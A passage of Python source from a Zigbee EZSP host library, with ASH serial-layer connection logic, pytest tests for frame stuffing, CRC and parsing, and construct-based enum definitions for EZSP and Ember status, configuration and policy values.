await asyncio.wait_for(frame.acknowledge(), self._ACK_TIMEOUT)
except asyncio.TimeoutError:
LOGGER.debug(f"Frame #{frame.spec['frmNum']} has timed out")
frame.needs_retransmission()
continue
if frame.acknowledge().result(): # ackd
LOGGER.debug(f"Frame #{frame.spec['frmNum']} "
+ f"has been processed")
return
else:
LOGGER.warning(f"Frame #{frame.spec['frmNum']} has been nak'd")
frame.needs_retransmission()
continue
async def _software_reset(self):
"""Sends a software reset to the ASH layer"""
self._state = self.State.INIT
_AshFrame.reset()
frame = _AshFrame.handle_outgoing({'type': 'rst'})
await self._serial.write(frame.raw)
async def _initialize(self):
"""Initiallizes the ASH layer"""
try:
await self._serial.connect()
except OSError:
raise OSError
attempt = 0
while attempt < self._RSTACK_TIMEOUTS:
must_reset = True
if must_reset:
await self._software_reset()
must_reset = False
try:
raw = await asyncio.wait_for(
self._serial.readuntil(_AshFrame.FRAME_TERMINATOR),
self._RSTACK_TIMEOUT)
LOGGER.debug(f"← {raw}")
except asyncio.TimeoutError:
LOGGER.warning(f"Failed to connect to ASH. Retrying "
+ f"({attempt + 1}/{self._RSTACK_TIMEOUTS})")
await asyncio.sleep(1)
attempt += 1
must_reset = True
continue # Nothing to parse
try:
frame = _AshFrame.handle_incoming(raw)
parsed = frame.spec
# parsed = _AshFrame.parse(data)
except (AshIgnoreException, AshRejectException):
continue
else:
if parsed['type'] != 'rstack':
continue
if parsed['reason'] == 'Software':
if self._is_compatible_version(parsed):
self._set_state(self.State.CONNECTED)
return True
return False
else: # Ignore everything else
LOGGER.debug(f"← Unexpected: {parsed}")
LOGGER.error(f"Couldn't connect to ASH!")
raise OSError # Too many attempts
def _is_compatible_version(self, parsed):
"""Returns whether the fields given in parsed corresponds to a version
of Ash that is compatible with this code"""
LOGGER.debug(f"← RSTACK. Ash Version: {parsed['version']}."
+ f"Reason: {parsed['reason']}.")
if parsed['version'] == _ASH_VERSION:
return True
LOGGER.error(f"Wrong ASH version (should be v{_ASH_VERSION}, "
+ f"but got v{parsed['version']}")
return False
async def read(self):
"""Asynchronously returns data for the upper layer"""
return await self._upward_data.get()
<file_sep>/tests/_test_ashv3.py
import pytest
import logging
from emberznetpy import uart as u
from emberznetpy import ash as a
from emberznetpy import ezsp as e
#logging.basicConfig(level=logging.DEBUG)
@pytest.fixture
def ezsp():
return e.EzspLayer()
@pytest.fixture
def ash(ezsp):
return a.AshLayer(ezsp)
@pytest.fixture
def uart(ash):
return u.UartLayer(ash)
@pytest.fixture
def nostuff():
return bytearray(b'\xff\xee\xdd\x01')
@pytest.fixture
def needs_stuffing():
return bytearray(b'\x7E\xFF\x11\xEE\x13\xDD\x7D\xCC\xF8\xBB')
@pytest.fixture
def reset_frame():
return bytearray(b'\x7E\x00\x08\x00\x69\x86\x00')
@pytest.fixture
def reset_build():
return {
'type': 0,
'ofc': 1,
'afc': 0,
'payload' : bytearray()
}
@pytest.fixture
def reset_ack_frame():
return bytearray(b'\x7E\x00\x49\x00\x47\x6B\xC0')
@pytest.fixture
def reset_ack_build():
return {
'type': 1,
'ofc': 1,
'afc': 1,
'payload' : bytearray()
}
@pytest.fixture
def ack_frame_with_data_no_stuffing():
return bytearray(b'\x7E\x00\x89\x03\x01\x02\x03\xC6\xA8\x00')
@pytest.fixture
def ack_build_with_data_no_stuffing():
return {
'type': 2,
'ofc': 1,
'afc': 1,
'payload': bytearray(b'\x01\x02\x03')
}
@pytest.fixture
def ack_frame_with_data_with_data_stuffing():
return bytearray(b'\x7E\x40\x89\x04\x7D\x5E\x02\x03\x8E\x08\x00')
@pytest.fixture
def ack_build_with_data_with_data_stuffing():
return {
'type': 2,
'ofc': 1,
'afc': 1,
'payload': bytearray(b'\x7E\x02\x03')
}
@pytest.fixture
def ack_frame_with_data_with_ctrl_stuffing():
return bytearray(b'\x7E\x80\x7D\x5E\x03\x01\x02\x03\xAE\x4C\x00')
@pytest.fixture
def ack_build_with_data_with_ctrl_stuffing():
return {
'type': 1,
'ofc': 7,
'afc': 6,
'payload': bytearray(b'\x01\x02\x03')
}
@pytest.fixture
def needs_unstuffing():
return bytearray(
b'\x7D\x5E\xFF\x7D\x31\xEE\x7D\x33\xDD\x7D\x5D\xCC\x7D\xD8\xBB')
def test_stuff_nostuff(ash, nostuff):
assert(ash._stuff(nostuff) == nostuff)
def test_stuff_withstuff(ash, needs_stuffing, needs_unstuffing):
assert(ash._stuff(needs_stuffing) == needs_unstuffing)
def test_unstuff_withstuff(ash, needs_unstuffing, needs_stuffing):
assert(ash._unstuff(needs_unstuffing) == needs_stuffing)
def test_unstuff_nostuff(ash, nostuff):
assert(ash._unstuff(nostuff) == nostuff)
def test_stuff_empty(ash):
assert(ash._stuff(bytearray()) == bytearray())
def test_crc(ash):
print(ash.crc(bytearray(b'\x7E\x00\x89\x03\x01\x02\x03')).hex())
assert(ash.crc(bytearray(b'\x7E\x00\x08\x00')) ==
bytearray(b'\x69\x86\x00'))
def test_control(ash):
assert(ash._build_control(1,1,1) == b'\x49')
def test_parse_reset(ash, reset_frame, reset_build):
assert(ash.parse_frame(reset_frame) == reset_build)
def test_build_reset_parse(ash, reset_frame, reset_build):
assert(ash.build_frame(reset_build) == reset_frame)
def test_parse_reset_ack_frame(ash, reset_ack_frame, reset_ack_build):
assert(ash.parse_frame(reset_ack_frame) == reset_ack_build)
def test_build_reset_ack_parse(ash, reset_ack_frame, reset_ack_build):
assert(ash.build_frame(reset_ack_build) == reset_ack_frame)
def test_parse_ack_frame_with_data_nostuffing(ash,
ack_build_with_data_no_stuffing, ack_frame_with_data_no_stuffing):
assert(ash.parse_frame(ack_frame_with_data_no_stuffing) ==
ack_build_with_data_no_stuffing)
def test_build_ack_frame_with_data_nostuffing(ash,
ack_build_with_data_no_stuffing, ack_frame_with_data_no_stuffing):
assert(ash.build_frame(ack_build_with_data_no_stuffing) ==
ack_frame_with_data_no_stuffing)
def test_parse_ack_frame_with_data_with_data_stuffing(
ash,
ack_build_with_data_with_data_stuffing,
ack_frame_with_data_with_data_stuffing):
assert(ash.parse_frame(ack_frame_with_data_with_data_stuffing) ==
ack_build_with_data_with_data_stuffing)
def test_build_ack_frame_with_data_with_data_stuffing(
ash,
ack_build_with_data_with_data_stuffing,
ack_frame_with_data_with_data_stuffing):
assert(ash.build_frame(ack_build_with_data_with_data_stuffing) ==
ack_frame_with_data_with_data_stuffing)
def test_parse_ack_frame_with_data_width_ctrl_stuffing(
ash,
ack_build_with_data_with_ctrl_stuffing,
ack_frame_with_data_with_ctrl_stuffing):
assert(ash.parse_frame(ack_frame_with_data_with_ctrl_stuffing) ==
ack_build_with_data_with_ctrl_stuffing)
def test_build_ack_frame_with_data_width_ctrl_stuffing(
ash,
ack_build_with_data_with_ctrl_stuffing,
ack_frame_with_data_with_ctrl_stuffing):
assert(ash.build_frame(ack_build_with_data_with_ctrl_stuffing) ==
ack_frame_with_data_with_ctrl_stuffing)
def test_parse_empty_buffer(ash):
with pytest.raises(a.AshParsingError):
ash.parse_frame(b'')
def test_parse_no_flag(ash):
with pytest.raises(a.AshFramingError):
ash.parse_frame(b'\x01\x02\x03\x03\x05')
def test_parse_wrong_escaped_control(ash):
with pytest.raises(a.AshParsingError):
ash.parse_frame(bytearray(b'\x7E\x80\xFF\x5E\x10'))
<file_sep>/src/cinder/ezsp_types.py
# pylint: disable=invalid-name
"""
Types for ezsp frames. Read the UG100 (EZSP Reference Guide) for
documentation.
"""
import construct as c
EmberNodeId = c.Int16ul
EmberPanId = c.Int16ul
EmberExtendedPanId = c.Int64ul
EmberMulticastId = c.Int16ul
EmberEUI64 = c.Int64ul
EmberDutyCycleHectoPct = c.Int16ul
EmberLibraryStatus = c.Int8ul
EmberGpSecurityLevel = c.Int8ul
EmberGpKeyType = c.Int8ul
EmberGpProxyTableEntryStatus = c.Int8ul
EmberGpApplicationId = c.Int8ul
EmberGpSecurityFrameCounter = c.Int32ul
SecureEzspSecurityType = c.Int32ul
SecureEzspSecurityLevel = c.Int8ul
SecureEzspRandomNumber = c.Bytes(16)
# Boolean type with values true and false.
EzspBool = c.ExprAdapter(c.Int8ul,
c.obj_ != 0,
lambda obj_, ctx_: 0x01 if obj_ else 0x00)
# Identifies a configuration value.
EzspConfigId = c.Enum(
c.Int8ul,
PACKET_BUFFER_COUNT=0x01,
NEIGHBOR_TABLE_SIZE=0x02,
APS_UNICAST_MESSAGE_COUNT=0x03,
BINDING_TABLE_SIZE=0x04,
ADDRESS_TABLE_SIZE=0x05,
MULTICAST_TABLE_SIZE=0x06,
ROUTE_TABLE_SIZE=0x07,
DISCOVERY_TABLE_SIZE=0x08,
STACK_PROFILE=0x0C,
SECURITY_LEVEL=0x0D,
MAX_HOPS=0x10,
MAX_END_DEVICE_CHILDREN=0x11,
INDIRECT_TRANSMISSION_TIMEOUT=0x12,
END_DEVICE_POLL_TIMEOUT=0x13,
TX_POWER_MODE=0x17,
DISABLE_RELAY=0x18,
TRUST_CENTER_ADDRESS_CACHE_SIZE=0x19,
SOURCE_ROUTE_TABLE_SIZE=0x1A,
END_DEVICE_POLL_TIMEOUT_SHIFT=0x1B,
FRAGMENT_WINDOW_SIZE=0x1C,
FRAGMENT_DELAY_MS=0x1D,
KEY_TABLE_SIZE=0x1E,
APS_ACK_TIMEOUT=0x1F,
BEACON_JITTER_DURATION=0x20,
END_DEVICE_BIND_TIMEOUT=0x21,
PAN_ID_CONFLICT_REPORT_THRESHOLD=0x22,
REQUEST_KEY_TIMEOUT=0x24,
CERTIFICATE_TABLE_SIZE=0x29,
APPLICATION_ZDO_FLAGS=0x2A,
BROADCAST_TABLE_SIZE=0x2B,
MAC_FILTER_TABLE_SIZE=0x2C,
SUPPORTED_NETWORKS=0x2D,
SEND_MULTICASTS_TO_SLEEPY_ADDRESS=0x2E,
ZLL_GROUP_ADDRESSES=0x2F,
ZLL_RSSI_THRESHOLD=0x30,
MTORR_FLOW_CONTROL=0x33,
RETRY_QUEUE_SIZE=0x34,
NEW_BROADCAST_ENTRY_THRESHOLD=0x35,
TRANSIENT_KEY_TIMEOUT_S=0x36,
BROADCAST_MIN_ACKS_NEEDED=0x37,
TC_REJOINS_USING_WELL_KNOWN_KEY_TIMEOUT_S=0x38
)
# Identifies a value
EzspValueId = c.Enum(
c.Int8ul,
EZSP_VALUE_TOKEN_STACK_NODE_DATA=0x00,
EZSP_VALUE_MAC_PASSTHROUGH_FLAGS=0x01,
EZSP_VALUE_EMBERNET_PASSTHROUGH_SOURCE_ADDRESS=0x02,
EZSP_VALUE_FREE_BUFFERS=0x03,
EZSP_VALUE_UART_SYNCH_CALLBACKS=0x04,
EZSP_VALUE_MAXIMUM_INCOMING_TRANSFER_SIZE=0x05,
EZSP_VALUE_MAXIMUM_OUTGOING_TRANSFER_SIZE=0x06,
EZSP_VALUE_STACK_TOKEN_WRITING=0x07,
EZSP_VALUE_STACK_IS_PERFORMING_REJOIN=0x08,
EZSP_VALUE_MAC_FILTER_LIST=0x09,
EZSP_VALUE_EXTENDED_SECURITY_BITMASK=0x0A,
EZSP_VALUE_NODE_SHORT_ID=0x0B,
EZSP_VALUE_DESCRIPTOR_CAPABILITY=0x0C,
EZSP_VALUE_STACK_DEVICE_REQUEST_SEQUENCE_NUMBER=0x0D,
EZSP_VALUE_RADIO_HOLD_OFF=0x0E,
EZSP_VALUE_ENDPOINT_FLAGS=0x0F,
EZSP_VALUE_MFG_SECURITY_CONFIG=0x10,
EZSP_VALUE_VERSION_INFO=0x11,
EZSP_VALUE_NEXT_HOST_REJOIN_REASON=0x12,
EZSP_VALUE_LAST_REJOIN_REASON=0x13,
EZSP_VALUE_NEXT_ZIGBEE_SEQUENCE_NUMBER=0x14,
EZSP_VALUE_CCA_THRESHOLD=0x15,
EZSP_VALUE_SET_COUNTER_THRESHOLD=0x17,
EZSP_VALUE_RESET_COUNTER_THRESHOLDS=0x18,
EZSP_VALUE_CLEAR_COUNTERS=0x19,
EZSP_VALUE_CERTIFICATE_283K1=0x1A,
EZSP_VALUE_PUBLIC_KEY_283K1=0x1B,
EZSP_VALUE_PRIVATE_KEY_283K1=0x1C,
EZSP_VALUE_NWK_FRAME_COUNTER=0x23,
EZSP_VALUE_APS_FRAME_COUNTER=0x24,
EZSP_VALUE_RETRY_DEVICE_TYPE=0x25,
EZSP_VALUE_ENABLE_R21_BEHAVIOR=0x29,
EZSP_VALUE_ANTENNA_MODE=0x30,
EZSP_VALUE_ENABLE_PTA=0x31,
EZSP_VALUE_PTA_OPTIONS=0x32,
EZSP_VALUE_MFGLIB_OPTIONS=0x33,
EZSP_VALUE_USE_NEGOTIATED_POWER_BY_LPD=0x34
)
# Identifies a value based on specified characteristics.
# Each set of characteristics is unique to that value and is specified during
# the call to get the extended value.
EzspExtendedValueId = c.Enum(
c.Int8ul,
EZSP_EXTENDED_VALUE_ENDPOINT_FLAGS=0x00,
EZSP_EXTENDED_VALUE_LAST_LEAVE_REASON=0x01,
EZSP_EXTENDED_VALUE_GET_SOURCE_ROUTE_OVERHEAD=0x02
)
# Flags associated with the endpoint data configured on the NCP
EzspEndpointFlags = c.Enum(
c.Int16ul,
EZSP_ENDPOINT_DISABLED=0x00,
EZSP_ENDPOINT_ENABLED=0x01
)
# Values for EZSP_CONFIG_TX_POWER_MODE
EmberConfigTxPowerMode = c.Enum(
c.Int16ul,
EMBER_TX_POWER_MODE_DEFAULT=0x00,
EMBER_TX_POWER_MODE_BOOST=0x01,
EMBER_TX_POWER_MODE_ALTERNATE=0x02,
EMBER_TX_POWER_MODE_BOOST_AND_ALTERNATE=0x03
)
# Identifies a policy
EzspPolicyId = c.Enum(
c.Int8ul,
EZSP_TRUST_CENTER_POLICY=0x00,
EZSP_BINDING_MODIFICATION_POLICY=0x01,
EZSP_UNICAST_REPLIES_POLICY=0x02,
EZSP_POLL_HANDLER_POLICY=0x03,
EZSP_MESSAGE_CONTENTS_IN_CALLBACK_POLICY=0x04,
EZSP_TC_KEY_REQUEST_POLICY=0x05,
EZSP_APP_KEY_REQUEST_POLICY=0x06,
EZSP_PACKET_VALIDATE_LIBRARY_POLICY=0x07,
EZSP_ZLL_POLICY=0x08,
EZSP_TC_REJOINS_USING_WELL_KNOWN_KEY_POLICY=0x09
)
# Identifies a policy decision
EzspDecisionId = c.Enum(
c.Int8ul,
EZSP_ALLOW_JOINS=0x00,
EZSP_ALLOW_JOINS_REJOINS_HAVE_LINK_KEY=0x04,
EZSP_ALLOW_PRECONFIGURED_KEY_JOINS=0x01,
EZSP_ALLOW_REJOINS_ONLY=0x02,
EZSP_DISALLOW_ALL_JOINS_AND_REJOINS=0x03,
EZSP_IGNORE_TRUST_CENTER_REJOINS=0x05,
EZSP_DISALLOW_BINDING_MODIFICATION=0x10,
EZSP_ALLOW_BINDING_MODIFICATION=0x11,
EZSP_CHECK_BINDING_MODIFICATIONS_ARE_VALID_ENDPOINT_CLUSTERS=0x12,
EZSP_HOST_WILL_NOT_SUPPLY_REPLY=0x20,
EZSP_HOST_WILL_SUPPLY_REPLY=0x21,
EZSP_POLL_HANDLER_IGNORE=0x30,
EZSP_POLL_HANDLER_CALLBACK=0x31,
EZSP_MESSAGE_TAG_ONLY_IN_CALLBACK=0x40,
EZSP_MESSAGE_TAG_AND_CONTENTS_IN_CALLBACK=0x41,
EZSP_DENY_TC_KEY_REQUESTS=0x50,
EZSP_ALLOW_TC_KEY_REQUESTS=0x51,
EZSP_GENERATE_NEW_TC_LINK_KEY=0x52,
EZSP_DENY_APP_KEY_REQUESTS=0x60,
EZSP_ALLOW_APP_KEY_REQUESTS=0x61,
EZSP_PACKET_VALIDATE_LIBRARY_CHECKS_ENABLED=0x62,
EZSP_PACKET_VALIDATE_LIBRARY_CHECKS_DISABLED=0x63
)
# Manufacturing token IDs used by ezspGetMfgToken()
EzspMfgTokenId = c.Enum(
c.Int8ul,
EZSP_MFG_CUSTOM_VERSION=0x00,
EZSP_MFG_STRING=0x01,
EZSP_MFG_BOARD_NAME=0x02,
EZSP_MFG_MANUF_ID=0x03,
EZSP_MFG_PHY_CONFIG=0x04,
EZSP_MFG_BOOTLOAD_AES_KEY=0x05,
EZSP_MFG_ASH_CONFIG=0x06,
EZSP_MFG_EZSP_STORAGE=0x07,
EZSP_STACK_CAL_DATA=0x08,
EZSP_MFG_CBKE_DATA=0x09,
EZSP_MFG_INSTALLATION_CODE=0x0A,
EZSP_STACK_CAL_FILTER=0x0B,
EZSP_MFG_CUSTOM_EUI_64=0x0C,
EZSP_MFG_CTUNE=0x0D
)
# Status values used by EZSP
EzspStatus = c.Enum(
c.Int8ul,
EZSP_SUCCESS=0x00,
EZSP_SPI_ERR_FATAL=0x10,
EZSP_SPI_ERR_NCP_RESET=0x11,
EZSP_SPI_ERR_OVERSIZED_EZSP_FRAME=0x12,
EZSP_SPI_ERR_ABORTED_TRANSACTION=0x13,
EZSP_SPI_ERR_MISSING_FRAME_TERMINATOR=0x14,
EZSP_SPI_ERR_WAIT_SECTION_TIMEOUT=0x15,
EZSP_SPI_ERR_NO_FRAME_TERMINATOR=0x16,
EZSP_SPI_ERR_EZSP_COMMAND_OVERSIZED=0x17,
EZSP_SPI_ERR_EZSP_RESPONSE_OVERSIZED=0x18,
EZSP_SPI_WAITING_FOR_RESPONSE=0x19,
EZSP_SPI_ERR_HANDSHAKE_TIMEOUT=0x1A,
EZSP_SPI_ERR_STARTUP_TIMEOUT=0x1B,
EZSP_SPI_ERR_STARTUP_FAIL=0x1C,
EZSP_SPI_ERR_UNSUPPORTED_SPI_COMMAND=0x1D,
EZSP_ASH_IN_PROGRESS=0x20,
EZSP_HOST_FATAL_ERROR=0x21,
EZSP_ASH_NCP_FATAL_ERROR=0x22,
EZSP_DATA_FRAME_TOO_LONG=0x23,
EZSP_DATA_FRAME_TOO_SHORT=0x24,
EZSP_NO_TX_SPACE=0x25,
EZSP_NO_RX_SPACE=0x26,
EZSP_NO_RX_DATA=0x27,
EZSP_NOT_CONNECTED=0x28,
EZSP_ERROR_VERSION_NOT_SET=0x30,
EZSP_ERROR_INVALID_FRAME_ID=0x31,
EZSP_ERROR_WRONG_DIRECTION=0x32,
EZSP_ERROR_TRUNCATED=0x33,
EZSP_ERROR_OVERFLOW=0x34,
EZSP_ERROR_OUT_OF_MEMORY=0x35,
EZSP_ERROR_INVALID_VALUE=0x36,
EZSP_ERROR_INVALID_ID=0x37,
EZSP_ERROR_INVALID_CALL=0x38,
EZSP_ERROR_NO_RESPONSE=0x39,
EZSP_ERROR_COMMAND_TOO_LONG=0x40,
EZSP_ERROR_QUEUE_FULL=0x41,
EZSP_ERROR_COMMAND_FILTERED=0x42,
EZSP_ERROR_SECURITY_KEY_ALREADY_SET=0x43,
EZSP_ERROR_SECURITY_TYPE_INVALID=0x44,
EZSP_ERROR_SECURITY_PARAMETERS_INVALID=0x45,
EZSP_ERROR_SECURITY_PARAMETERS_ALREADY_SET=0x46,
EZSP_ERROR_SECURITY_KEY_NOT_SET=0x47,
EZSP_ERROR_SECURITY_PARAMETERS_NOT_SET=0x48,
EZSP_ERROR_UNSUPPORTED_CONTROL=0x49,
EZSP_ERROR_UNSECURE_FRAME=0x4A,
EZSP_ASH_ERROR_VERSION=0x50,
EZSP_ASH_ERROR_TIMEOUTS=0x51,
EZSP_ASH_ERROR_RESET_FAIL=0x52,
EZSP_ASH_ERROR_NCP_RESET=0x53,
EZSP_ERROR_SERIAL_INIT=0x54,
EZSP_ASH_ERROR_NCP_TYPE=0x55,
EZSP_ASH_ERROR_RESET_METHOD=0x56,
EZSP_ASH_ERROR_XON_XOFF=0x57,
EZSP_ASH_STARTED=0x70,
EZSP_ASH_CONNECTED=0x71,
EZSP_ASH_DISCONNECTED=0x72,
EZSP_ASH_ACK_TIMEOUT=0x73,
EZSP_ASH_CANCELLED=0x74,
EZSP_ASH_OUT_OF_SEQUENCE=0x75,
EZSP_ASH_BAD_CRC=0x76,
EZSP_ASH_COMM_ERROR=0x77,
EZSP_ASH_BAD_ACKNUM=0x78,
EZSP_ASH_TOO_SHORT=0x79,
EZSP_ASH_TOO_LONG=0x7A,
EZSP_ASH_BAD_CONTROL=0x7B,
EZSP_ASH_BAD_LENGTH=0x7C,
EZSP_ASH_ACK_RECEIVED=0x7D,
EZSP_ASH_ACK_SENT=0x7E,
EZSP_ASH_NAK_RECEIVED=0x7F,
EZSP_ASH_NAK_SENT=0x80,
EZSP_ASH_RST_RECEIVED=0x81,
EZSP_ASH_RST_SENT=0x82,
EZSP_ASH_STATUS=0x83,
EZSP_ASH_TX=0x84,
EZSP_ASH_RX=0x85,
EZSP_NO_ERROR=0xFF
)
EmberStatus = c.Enum(
c.Int8ul,
EMBER_SUCCESS=0x00,
EMBER_ERR_FATAL=0x01,
EMBER_BAD_ARGUMENT=0x02,
EMBER_NOT_FOUND=0x03,
EMBER_EEPROM_MFG_STACK_VERSION_MISMATCH=0x04,
EMBER_INCOMPATIBLE_STATIC_MEMORY_DEFINITIONS=0x05,
EMBER_EEPROM_MFG_VERSION_MISMATCH=0x06,
EMBER_EEPROM_STACK_VERSION_MISMATCH=0x07,
EMBER_NO_BUFFERS=0x18,
EMBER_SERIAL_INVALID_BAUD_RATE=0x20,
EMBER_SERIAL_INVALID_PORT=0x21,
EMBER_SERIAL_TX_OVERFLOW=0x22,
EMBER_SERIAL_RX_OVERFLOW=0x23,
EMBER_SERIAL_RX_FRAME_ERROR=0x24,
EMBER_SERIAL_RX_PARITY_ERROR=0x25,
EMBER_SERIAL_RX_EMPTY=0x26,
EMBER_SERIAL_RX_OVERRUN_ERROR=0x27,
EMBER_MAC_TRANSMIT_QUEUE_FULL=0x39,
EMBER_MAC_UNKNOWN_HEADER_TYPE=0x3A,
EMBER_MAC_ACK_HEADER_TYPE=0x3B,
EMBER_MAC_SCANNING=0x3D,
EMBER_MAC_NO_DATA=0x31,
EMBER_MAC_JOINED_NETWORK=0x32,
EMBER_MAC_BAD_SCAN_DURATION=0x33,
EMBER_MAC_INCORRECT_SCAN_TYPE=0x34,
EMBER_MAC_INVALID_CHANNEL_MASK=0x35,
EMBER_MAC_COMMAND_TRANSMIT_FAILURE=0x36,
EMBER_MAC_NO_ACK_RECEIVED=0x40,
EMBER_MAC_RADIO_NETWORK_SWITCH_FAILED=0x41,
EMBER_MAC_INDIRECT_TIMEOUT=0x42,
EMBER_SIM_EEPROM_ERASE_PAGE_GREEN=0x43,
EMBER_SIM_EEPROM_ERASE_PAGE_RED=0x44,
EMBER_SIM_EEPROM_FULL=0x45,
EMBER_SIM_EEPROM_INIT_1_FAILED=0x48,
EMBER_SIM_EEPROM_INIT_2_FAILED=0x49,
EMBER_SIM_EEPROM_INIT_3_FAILED=0x4A,
EMBER_SIM_EEPROM_REPAIRING=0x4D,
EMBER_ERR_FLASH_WRITE_INHIBITED=0x46,
EMBER_ERR_FLASH_VERIFY_FAILED=0x47,
EMBER_ERR_FLASH_PROG_FAIL=0x4B,
EMBER_ERR_FLASH_ERASE_FAIL=0x4C,
EMBER_ERR_BOOTLOADER_TRAP_TABLE_BAD=0x58,
EMBER_ERR_BOOTLOADER_TRAP_UNKNOWN=0x59,
EMBER_ERR_BOOTLOADER_NO_IMAGE=0x05A,
EMBER_DELIVERY_FAILED=0x66,
EMBER_BINDING_INDEX_OUT_OF_RANGE=0x69,
EMBER_ADDRESS_TABLE_INDEX_OUT_OF_RANGE=0x6A,
EMBER_INVALID_BINDING_INDEX=0x6C,
EMBER_INVALID_CALL=0x70,
EMBER_COST_NOT_KNOWN=0x71,
EMBER_MAX_MESSAGE_LIMIT_REACHED=0x72,
EMBER_MESSAGE_TOO_LONG=0x74,
EMBER_BINDING_IS_ACTIVE=0x75,
EMBER_ADDRESS_TABLE_ENTRY_IS_ACTIVE=0x76,
EMBER_TRANSMISSION_SUSPENDED=0x77,
EMBER_MATCH=0x78,
EMBER_DROP_FRAME=0x79,
EMBER_PASS_UNPROCESSED=0x7A,
EMBER_TX_THEN_DROP=0x7B,
EMBER_NO_SECURITY=0x7C,
EMBER_COUNTER_FAILURE=0x7D,
EMBER_AUTH_FAILURE=0x7E,
EMBER_UNPROCESSED=0x7F,
EMBER_ADC_CONVERSION_DONE=0x80,
EMBER_ADC_CONVERSION_BUSY=0x81,
EMBER_ADC_CONVERSION_DEFERRED=0x82,
EMBER_ADC_NO_CONVERSION_PENDING=0x84,
EMBER_SLEEP_INTERRUPTED=0x85,
EMBER_PHY_TX_UNDERFLOW=0x88,
EMBER_PHY_TX_INCOMPLETE=0x89,
EMBER_PHY_INVALID_CHANNEL=0x8A,
EMBER_PHY_INVALID_POWER=0x8B,
EMBER_PHY_TX_BUSY=0x8C,
EMBER_PHY_TX_CCA_FAIL=0x8D,
EMBER_PHY_OSCILLATOR_CHECK_FAILED=0x8E,
EMBER_PHY_ACK_RECEIVED=0x8F,
EMBER_NETWORK_UP=0x90,
EMBER_NETWORK_DOWN=0x91,
EMBER_JOIN_FAILED=0x94,
EMBER_MOVE_FAILED=0x96,
EMBER_CANNOT_JOIN_AS_ROUTER=0x98,
EMBER_NODE_ID_CHANGED=0x99,
EMBER_PAN_ID_CHANGED=0x9A,
EMBER_CHANNEL_CHANGED=0x9B,
EMBER_NO_BEACONS=0xAB,
EMBER_RECEIVED_KEY_IN_THE_CLEAR=0xAC,
EMBER_NO_NETWORK_KEY_RECEIVED=0xAD,
EMBER_NO_LINK_KEY_RECEIVED=0xAE,
EMBER_PRECONFIGURED_KEY_REQUIRED=0xAF,
EMBER_KEY_INVALID=0xB2,
EMBER_INVALID_SECURITY_LEVEL=0x95,
EMBER_APS_ENCRYPTION_ERROR=0xA6,
EMBER_SECURITY_STATE_NOT_SET=0xA8,
EMBER_KEY_TABLE_INVALID_ADDRESS=0xB3,
EMBER_SECURITY_CONFIGURATION_INVALID=0xB7,
EMBER_TOO_SOON_FOR_SWITCH_KEY=0xB8,
EMBER_SIGNATURE_VERIFY_FAILURE=0xB9,
EMBER_KEY_NOT_AUTHORIZED=0xBB,
EMBER_SECURITY_DATA_INVALID=0xBD,
EMBER_NOT_JOINED=0x93,
EMBER_NETWORK_BUSY=0xA1,
EMBER_INVALID_ENDPOINT=0xA3,
EMBER_BINDING_HAS_CHANGED=0xA4,
EMBER_INSUFFICIENT_RANDOM_DATA=0xA5,
EMBER_SOURCE_ROUTE_FAILURE=0xA9,
EMBER_MANY_TO_ONE_ROUTE_FAILURE=0xAA,
EMBER_STACK_AND_HARDWARE_MISMATCH=0xB0,
EMBER_INDEX_OUT_OF_RANGE=0xB1,
EMBER_TABLE_FULL=0xB4,
EMBER_TABLE_ENTRY_ERASED=0xB6,
EMBER_LIBRARY_NOT_PRESENT=0xB5,
EMBER_OPERATION_IN_PROGRESS=0xBA,
EMBER_TRUST_CENTER_EUI_HAS_CHANGED=0xBC,
EMBER_NVM3_TOKEN_NO_VALID_PAGES=0xC0,
EMBER_NVM3_ERR_OPENED_WITH_OTHER_PARAMETERS=0xC1,
EMBER_NVM3_ERR_ALIGNMENT_INVALID=0xC2,
EMBER_NVM3_ERR_SIZE_TOO_SMALL=0xC3,
EMBER_NVM3_ERR_PAGE_SIZE_NOT_SUPPORTED=0xC4,
EMBER_NVM3_ERR_TOKEN_INIT=0xC5,
EMBER_NVM3_ERR_UNKNOWN=0xC6,
EMBER_APPLICATION_ERROR_0=0xF0,
EMBER_APPLICATION_ERROR_1=0xF1,
EMBER_APPLICATION_ERROR_2=0xF2,
EMBER_APPLICATION_ERROR_3=0xF3,
EMBER_APPLICATION_ERROR_4=0xF4,
EMBER_APPLICATION_ERROR_5=0xF5,
EMBER_APPLICATION_ERROR_6=0xF6,
EMBER_APPLICATION_ERROR_7=0xF7,
EMBER_APPLICATION_ERROR_8=0xF8,
EMBER_APPLICATION_ERROR_9=0xF9,
EMBER_APPLICATION_ERROR_10=0xFA,
EMBER_APPLICATION_ERROR_11=0xFB,
EMBER_APPLICATION_ERROR_12=0xFC,
EMBER_APPLICATION_ERROR_13=0xFD,
EMBER_APPLICATION_ERROR_14=0xFE,
EMBER_APPLICATION_ERROR_15=0xFF
)
EmberEventUnits = c.Enum(
c.Int8ul,
EMBER_EVENT_INACTIVE=0x00,
EMBER_EVENT_MS_TIME=0x01,
EMBER_EVENT_QS_TIME=0x02,
EMBER_EVENT_MINUTE_TIME=0x03,
EMBER_EVENT_ZERO_DELAY=0x04
)
EmberNodeType = c.Enum(
c.Int8ul,
EMBER_UNKNOWN_DEVICE=0x00,
EMBER_COORDINATOR=0x01,
EMBER_ROUTER=0x02,
EMBER_END_DEVICE=0x03,
EMBER_SLEEPY_END_DEVICE=0x04,
)
EmberNetworkStatus = c.Enum(
c.Int8ul,
EMBER_NO_NETWORK=0x00,
EMBER_JOINING_NETWORK=0x01,
EMBER_JOINED_NETWORK=0x02,
EMBER_JOINED_NETWORK_NO_PARENT=0x03,
EMBER_LEAVING_NETWORK=0x04
)
EmberIncomingMessageType = c.Enum(
c.Int8ul,
EMBER_INCOMING_UNICAST=0x00,
EMBER_INCOMING_UNICAST_REPLY=0x01,
EMBER_INCOMING_MULTICAST=0x02,
EMBER_INCOMING_MULTICAST_LOOPBACK=0x03,
EMBER_INCOMING_BROADCAST=0x04,
EMBER_INCOMING_BROADCAST_LOOPBACK=0x05
)
EmberOutgoingMessageType = c.Enum(
c.Int8ul,
EMBER_OUTGOING_DIRECT=0x00,
EMBER_OUTGOING_VIA_ADDRESS_TABLE=0x01,
EMBER_OUTGOING_VIA_BINDING=0x02,
EMBER_OUTGOING_MULTICAST=0x03,
EMBER_OUTGOING_MULTICAST_WITH_ALIAS=0x04,
EMBER_OUTGOING_BROADCAST_WITH_ALIAS=0x05,
EMBER_OUTGOING_BROADCAST=0x06
)
EmberMacPassthroughType = c.FlagsEnum(
